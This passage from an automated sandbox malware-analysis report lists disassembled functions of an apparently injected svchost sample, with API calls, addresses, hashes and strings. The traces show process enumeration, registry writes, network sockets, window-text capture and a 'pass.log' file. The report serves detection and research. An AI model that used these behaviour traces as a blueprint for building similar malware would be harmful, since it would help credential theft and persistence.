StrStrIA.SHLWAPI(?,?), ref: 02C931E0
Process32Next.KERNEL32(00000000,?), ref: 02C931EC
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C93208
CloseHandle.KERNEL32(00000000), ref: 02C9321A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
String ID:
API String ID: 3955875343-0
Opcode ID: 810e14c39b12bc5e0f1888c9af17e2f18aa07edadceab16d62b3436b5ada740f
Instruction ID: 17a8724991fbeb8b365db2bb00f289a510eb225140cfe046ce7502c62d85ccaf
Opcode Fuzzy Hash: 810e14c39b12bc5e0f1888c9af17e2f18aa07edadceab16d62b3436b5ada740f
Instruction Fuzzy Hash: 9511D2729043916BC711DF65EC49A9BBBECEFC9360F008A59FD5483281E7309619CBE2

Function 02C76EE6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(02C84ADF,software\microsoft,00000000,00000102,80000002,?,?,?,?,00000000,0000000A), ref: 02C76F4D
RegSetValueExA.ADVAPI32(80000002,80f5007ca,00000000,00000001,?,00000104,?,?,?,?,00000000,0000000A), ref: 02C76F6F
RegFlushKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 02C76F8A
RegCloseKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 02C76F9F

Strings

software\microsoft, xrefs: 02C76F47
80f5007ca, xrefs: 02C76F6D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseFlushOpenValue
String ID: 80f5007ca$software\microsoft
API String ID: 2510291871-1722485806
Opcode ID: c9896e355f72d0ac8f78d9d656b9a9fcbb5e46da394b6be2b37a54d38e5b89ec
Instruction ID: 965a6c0805f5aa3b88c0bc7b017f05e06a6b41355062923ce301ca052dc6195e
Opcode Fuzzy Hash: c9896e355f72d0ac8f78d9d656b9a9fcbb5e46da394b6be2b37a54d38e5b89ec
Instruction Fuzzy Hash: DF11C471A40188ABEB24DBA4DCC8FEE776DEB54308F204AADF646D7440D271DE84CB90

Function 02C883B0 Relevance: 10.5, APIs: 7, Instructions: 43networkthreadCOMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000001), ref: 02C883CB
shutdown.WS2_32(02C884AC,00000001), ref: 02C883D0
recv.WS2_32(02C884AC,?,00000400,00000000), ref: 02C883EF
recv.WS2_32(?,?,00000400,00000000), ref: 02C88405
closesocket.WS2_32(?), ref: 02C88419
closesocket.WS2_32(02C884AC), ref: 02C8841C
ExitThread.KERNEL32 ref: 02C88420

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: closesocketrecvshutdown$ExitThread
String ID:
API String ID: 1638183600-0
Opcode ID: db002666e193d67a4fa707397537c28dadfaec4b9e9a6e682c755636d7f6cf5f
Instruction ID: 050308a56ae31777cf988864614140b0bd900212560c140347662cfed291bd14
Opcode Fuzzy Hash: db002666e193d67a4fa707397537c28dadfaec4b9e9a6e682c755636d7f6cf5f
Instruction Fuzzy Hash: 85F031B29503187BD720AA65CC85F9B3B6CAB88B94F004644BB09BB180D6B4F941CEE4

Function 02C89130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,00000000,02C89113,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8913C
GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89146
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8914D
memset.MSVCRT ref: 02C8915E
ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C891AA

Strings

P0#v, xrefs: 02C891AA

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocMutexObjectProcessReleaseSingleWaitmemset
String ID: P0#v
API String ID: 819421891-3387790918
Opcode ID: bf17576b4b3f9974584de17eb10b964acc128a6fc0dcc4f49bd0e869d17f9889
Instruction ID: e6f4492e7aabcac417ad51598b3df8eae1fa1d9cfa0e8139636ceb90c3e03de5
Opcode Fuzzy Hash: bf17576b4b3f9974584de17eb10b964acc128a6fc0dcc4f49bd0e869d17f9889
Instruction Fuzzy Hash: 9E01F3B0E81B11AFC32ACF28E844B46FBF4BF48710F048A5AE55A87780D730B950CB90

Function 02C97A50 Relevance: 10.1, APIs: 8, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02C97AB6
HeapValidate.KERNEL32(00000000), ref: 02C97ABD
GetProcessHeap.KERNEL32(00000000,?), ref: 02C97ACA
HeapFree.KERNEL32(00000000), ref: 02C97AD1
GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02C97AE0
HeapValidate.KERNEL32(00000000), ref: 02C97AE3
GetProcessHeap.KERNEL32(00000000,?), ref: 02C97AF0
HeapFree.KERNEL32(00000000), ref: 02C97AF3

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidate
String ID:
API String ID: 1670920773-0
Opcode ID: d57ac4135c724d8a926893770527e68ed6947d970c3d55a6b6301d0a02dcde21
Instruction ID: e3683514777bb9f53f8e9e1f0d5adb4f683b40bf835c875ad3306b9d633f3255
Opcode Fuzzy Hash: d57ac4135c724d8a926893770527e68ed6947d970c3d55a6b6301d0a02dcde21
Instruction Fuzzy Hash: 1631A171E41344ABDF219F69D848BAABBA8EF84314F048589ED0597246CB30DA55CBA0

Function 02C9C97A Relevance: 9.1, APIs: 6, Instructions: 141fileCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 02C9C81F
MoveFileA.KERNEL32(?,?), ref: 02C9CA0D
GetFileAttributesA.KERNEL32(?), ref: 02C9CA51
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C9CAC3

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateDirectoryMovefree
String ID:
API String ID: 1026147201-0
Opcode ID: 6d56f136752f8de2cf715215aaabbe1badd567b4ca862488b421c707f727fe41
Instruction ID: 6fbb9ba311c2d486b087baf120766f527d6bb41bf08a3a80a0ff45588bae05d7
Opcode Fuzzy Hash: 6d56f136752f8de2cf715215aaabbe1badd567b4ca862488b421c707f727fe41
Instruction Fuzzy Hash: D4413831A4429A8FDF21CF7888987F97FA49F9A344F1445EAE582CB245DB309705CBA1

Function 02C96E90 Relevance: 9.1, APIs: 6, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,00000000), ref: 02C96ED4
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,02C97817), ref: 02C96EEE
memcpy.MSVCRT(00000000,?,?,?,02C97817), ref: 02C96F16
UnmapViewOfFile.KERNEL32(?,?,?,?,?,02C97817), ref: 02C96F22

Part of subcall function 02C93E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C93E14
Part of subcall function 02C93E00: CloseHandle.KERNEL32(?), ref: 02C93E25

memcpy.MSVCRT(?,?,00140B17,00000000,00000000,00140B17,?,02C97817), ref: 02C96F4E
WriteFile.KERNEL32(?,?,00140B17,02C97817,00000000,00140B17), ref: 02C96F80

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: File$HandleViewmemcpy$CloseCreateInformationMappingUnmapWrite
String ID:
API String ID: 3741995677-0
Opcode ID: 734895cd69303071544915fd29f7e9f1ff6f361a64f3e53f8d6472fd81a7165e
Instruction ID: da0cf13bb213f9a11f149eb5d0aceba496568976ad3535ebd0d50bc920cc0354
Opcode Fuzzy Hash: 734895cd69303071544915fd29f7e9f1ff6f361a64f3e53f8d6472fd81a7165e
Instruction Fuzzy Hash: D9317C72A00209BBDB04DF99D884B6AF7BCFF58714F20825AE90497680D771AE60CBD0

Function 02C880E0 Relevance: 9.1, APIs: 6, Instructions: 106networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 02C8810E
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C8813F
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C8816B
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C88192
IsBadReadPtr.KERNEL32(?,00000004), ref: 02C881B4
WSASetLastError.WS2_32(?), ref: 02C881DE

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast$Read
String ID:
API String ID: 2835504744-0
Opcode ID: c5fd1cbb214b15cdab6ce06d29a125c76e6a7ede30152256b383716933324556
Instruction ID: e7fe724f489af6321f71dceae56ef92282b7923a0bf88af3b1335e520fe97cb7
Opcode Fuzzy Hash: c5fd1cbb214b15cdab6ce06d29a125c76e6a7ede30152256b383716933324556
Instruction Fuzzy Hash: 6F41CAB1E0020DAFDB40DFA9D985AAEBBF9EF48304F518569E905E7200E7749A41CF90

Function 02C9F1E0 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 02C9F540: htons.WS2_32(?), ref: 02C9F564
Part of subcall function 02C9F540: inet_addr.WS2_32(?), ref: 02C9F56F
Part of subcall function 02C9F540: htonl.WS2_32(000000FF), ref: 02C9F57A
Part of subcall function 02C9F540: gethostbyname.WS2_32(?), ref: 02C9F586
Part of subcall function 02C9F540: socket.WS2_32(00000002,00000001,00000000), ref: 02C9F5A0
Part of subcall function 02C9F540: connect.WS2_32(00000000,?,00000010), ref: 02C9F5B3
Part of subcall function 02C9F540: closesocket.WS2_32(00000000), ref: 02C9F5BE

setsockopt.WS2_32(00000000,00000006,00000001,00000001,00000004), ref: 02C9F21F
closesocket.WS2_32 ref: 02C9F234

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: closesocket$connectgethostbynamehtonlhtonsinet_addrsetsockoptsocket
String ID:
API String ID: 2706992148-0
Opcode ID: 53adfa6ea3cf7b33249b95afa0770064adb70ff08dbdb1e7d2fb769282cd73ba
Instruction ID: cc431ba2af91e8e9b9009b5b2c384af590350d5debc5c8f42bee17bc6d3df787
Opcode Fuzzy Hash: 53adfa6ea3cf7b33249b95afa0770064adb70ff08dbdb1e7d2fb769282cd73ba
Instruction Fuzzy Hash: 2A310A75A40615BBDB10CFA8E84DBEAB7A8FF05710F20825AF515C7180EB719A54CBE1

Function 02C79030 Relevance: 9.1, APIs: 6, Instructions: 88COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 02C79057
IsRectEmpty.USER32(?), ref: 02C790C6
GetWindowLongA.USER32(?,000000F0), ref: 02C790D6
GetParent.USER32(?), ref: 02C790EA
MapWindowPoints.USER32(00000000,00000000,?,02C79754), ref: 02C790F3
SetWindowPos.USER32(?,00000000,?,02C79754,00000000,00008001,0000630C,?,02C79754,00000000,00008001,?), ref: 02C79115

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$Rect$EmptyLongParentPoints
String ID:
API String ID: 379166938-0
Opcode ID: 374e363667ad26d19e2a5c50ec631439f3f6d0eb4c8d02660777ea6d35d9f735
Instruction ID: 4e9a8a0b1bcc44802f0ea67f31edd1616058c903fd7bc8432f77e8a2b9c7038a
Opcode Fuzzy Hash: 374e363667ad26d19e2a5c50ec631439f3f6d0eb4c8d02660777ea6d35d9f735
Instruction Fuzzy Hash: 5F313071E40219EFDB01CFA9D949AFEBBB8FF49710F104699E445A7240D7B09A10CBA1

Function 02C72860 Relevance: 9.1, APIs: 6, Instructions: 87COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 02C7287F
exit.MSVCRT ref: 02C7288D
calloc.MSVCRT ref: 02C72899
exit.MSVCRT ref: 02C728A6
free.MSVCRT ref: 02C728FA
free.MSVCRT ref: 02C7291E

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: callocexitfree
String ID:
API String ID: 3367576030-0
Opcode ID: 64cf0029b2f039a47c8f44471105e99cfb02d11d2272fc1700fe2650d6133c84
Instruction ID: 969ca29441430a44ae7d068f8bd1570233bf6ff43ec5cf71020b18c90718a8d7
Opcode Fuzzy Hash: 64cf0029b2f039a47c8f44471105e99cfb02d11d2272fc1700fe2650d6133c84
Instruction Fuzzy Hash: 64213DB6A00359AFDB11CF58DC81BAB77A8FF88310F044569ED4597340D772EE108BA2

Function 02C81AC0 Relevance: 9.1, APIs: 6, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

GetAncestor.USER32(00000000,00000002,?,00000000), ref: 02C81ACE
GetWindowTextA.USER32(00000000,?,00000104), ref: 02C81AE9

Part of subcall function 02C81330: memset.MSVCRT ref: 02C81347
Part of subcall function 02C81330: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,7622F550,00000000), ref: 02C8135E
Part of subcall function 02C81330: PathAddBackslashA.SHLWAPI(?,?,7622F550,00000000), ref: 02C8136B
Part of subcall function 02C81330: PathFileExistsA.SHLWAPI(?,?,7622F550,00000000), ref: 02C813A7
Part of subcall function 02C81330: lstrcpynA.KERNEL32(02CC7C28,00000000,00000104,00000000,00000001,?,7622F550,00000000), ref: 02C813D1
Part of subcall function 02C81330: GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813E0
Part of subcall function 02C81330: HeapValidate.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813E3
Part of subcall function 02C81330: GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813F0
Part of subcall function 02C81330: HeapFree.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813F3

GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B47
HeapValidate.KERNEL32(00000000), ref: 02C81B4A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B57
HeapFree.KERNEL32(00000000), ref: 02C81B5A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$Path$FreeValidate$AncestorBackslashExistsFileFolderTextWindowlstrcpynmemset
String ID:
API String ID: 649337724-0
Opcode ID: 1d786c4ce8f3e7b9c375caa0773c66e8652aa73733a14f89ed2191edea3b9b28
Instruction ID: 26e08be0b0e164c66fd54795b2ce944ec44a80d45b1e8e4f516e699ee8a2f7d6
Opcode Fuzzy Hash: 1d786c4ce8f3e7b9c375caa0773c66e8652aa73733a14f89ed2191edea3b9b28
Instruction Fuzzy Hash: 9611C8B1E4425457DB206B349C18FF33BE89B91358F088A94E88C87180FBB0D95ACB60

Function 02C973C0 Relevance: 8.8, APIs: 7, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0006AFB0,00000000,00000000,00000000,?,02C97874,00000000,00140B17), ref: 02C973D5
HeapAlloc.KERNEL32(00000000,?,02C97874,00000000,00140B17), ref: 02C973DC
memset.MSVCRT ref: 02C973EF
GetProcessHeap.KERNEL32(00000000,00000000,02C97870,?,02C97874,00000000,00140B17), ref: 02C9749E
HeapValidate.KERNEL32(00000000,?,02C97874,00000000,00140B17), ref: 02C974A1
GetProcessHeap.KERNEL32(00000000,00000000,?,02C97874,00000000,00140B17), ref: 02C974AD
HeapFree.KERNEL32(00000000,?,02C97874,00000000,00140B17), ref: 02C974B0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocFreeValidatememset
String ID:
API String ID: 470506929-0
Opcode ID: ee46b0cd924f0b3656249b19cb5aba9a251340cd2f2c060f71cc093169004b01
Instruction ID: bcd05b34dfdb7e001c00c32e838f1f62bc3ad5fa811ead47d707cc04517c8152
Opcode Fuzzy Hash: ee46b0cd924f0b3656249b19cb5aba9a251340cd2f2c060f71cc093169004b01
Instruction Fuzzy Hash: 6421EFB0A017009FCB21AFA5D888ACBFFE8FF4A744B00881DE55E8B201C734A405CF92

Function 02C89B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFC6B), ref: 02C89B47
GetFileAttributesA.KERNEL32(?), ref: 02C89B85
PathFileExistsA.SHLWAPI(?), ref: 02C89BC9

Strings

7F1BFC6B, xrefs: 02C89B42, 02C89B4D
pass.log, xrefs: 02C89BA8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FilePath$AttributesBackslashExists
String ID: 7F1BFC6B$pass.log
API String ID: 2713433229-624231546
Opcode ID: 78619ef695ab782b7263028e11ce17cc6bd4f0f8d27fa45550990d259e2171eb
Instruction ID: dd6b5d5ff430268dd9c764518b0ef113d75c22a133e28c216694d89d03cf3145
Opcode Fuzzy Hash: 78619ef695ab782b7263028e11ce17cc6bd4f0f8d27fa45550990d259e2171eb
Instruction Fuzzy Hash: 691127319046484BD7229B28A8A47F7BBE4EFC6301F14C6E4ECCAD7301EA30DA59C780

Function 02C76930 Relevance: 8.8, APIs: 7, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E

GetProcessHeap.KERNEL32(00000008,00000013,?,00000000,00000000,00000000,75AF5CE0,02C82897), ref: 02C7696C
HeapAlloc.KERNEL32(00000000), ref: 02C76973
memset.MSVCRT ref: 02C76983
GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,75AF5CE0,02C82897), ref: 02C769A5
HeapValidate.KERNEL32(00000000), ref: 02C769A8
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C769B5
HeapFree.KERNEL32(00000000), ref: 02C769B8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$File$FreeHandleValidatememset$AllocAllocateCloseCreateInformationReadSizeWrite
String ID:
API String ID: 1057660858-0
Opcode ID: f377347343ddea82a5b582f989365a99ecd9eccaf66547f3de79fc0db7b6716e
Instruction ID: 58932f77280adc2f93b47e823172b600c7e8a6d5802ac6a8ee26dcbea9958889
Opcode Fuzzy Hash: f377347343ddea82a5b582f989365a99ecd9eccaf66547f3de79fc0db7b6716e
Instruction Fuzzy Hash: 5511E572F41658A7C725ABA5AC48F9BB76CDFC0B55F140168B909D7280DB70DE14CBE0

Function 02C862E0 Relevance: 8.8, APIs: 7, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02C92F00: OpenProcess.KERNEL32(00000000,00001400,00000000,00000000,7734FFB0,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F2C
Part of subcall function 02C92F00: GetProcessTimes.KERNEL32(00000000,02C86436,?,?,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F4A
Part of subcall function 02C92F00: GetHandleInformation.KERNEL32(00000000,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F68
Part of subcall function 02C92F00: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F79

EnterCriticalSection.KERNEL32(02CBD8A0,?,00000000,00000000,02C865A8), ref: 02C862F9
LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86315
GetProcessHeap.KERNEL32(00000000,092F3178), ref: 02C8633A
HeapValidate.KERNEL32(00000000), ref: 02C8633D
GetProcessHeap.KERNEL32(00000000,092F3178), ref: 02C8634A
HeapFree.KERNEL32(00000000), ref: 02C8634D
LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86358

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HeapProcess$CriticalSection$HandleLeave$CloseEnterFreeInformationOpenTimesValidate
String ID:
API String ID: 3901171168-0
Opcode ID: 26c6d85392eb8c4a16e942620162100858da66d781d82b7ac1ffba0ce0e35a5f
Instruction ID: e16848d6b56a16331ab7f53f00c9a1bda535184f7d0ec46107e6b32ba09f805d
Opcode Fuzzy Hash: 26c6d85392eb8c4a16e942620162100858da66d781d82b7ac1ffba0ce0e35a5f
Instruction Fuzzy Hash: 8D01D832F44310A7DB217FA6F848B5A779CDFC4B56F244969E646C7240C7715414CBD0

Function 02C9A8B0 Relevance: 7.7, APIs: 5, Instructions: 239COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02C9A909

Part of subcall function 02C9F0F0: __WSAFDIsSet.WS2_32(?,?), ref: 02C9F1A0
Part of subcall function 02C9F0F0: closesocket.WS2_32(?), ref: 02C9F1BD

realloc.MSVCRT ref: 02C9A915
malloc.MSVCRT ref: 02C9A94D
realloc.MSVCRT ref: 02C9A959
malloc.MSVCRT ref: 02C9A9AC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: malloc$realloc$closesocket
String ID:
API String ID: 3133911991-0
Opcode ID: 0356a3c1231401b6a7be1d7f5de1c8159a5ac392767ba78456acf3909ac10746
Instruction ID: 234d781074eed9ee82bdb69a372c02d58ebd33085692b2bbe08d611481305c46
Opcode Fuzzy Hash: 0356a3c1231401b6a7be1d7f5de1c8159a5ac392767ba78456acf3909ac10746
Instruction Fuzzy Hash: BD91B471E006468FCF04CF69DD94BEA37A6FF84305F1985B9ED099B346D634AA11CBA0

Function 02C83070 Relevance: 7.6, APIs: 5, Instructions: 111COMMON

Download Yara Rule

APIs

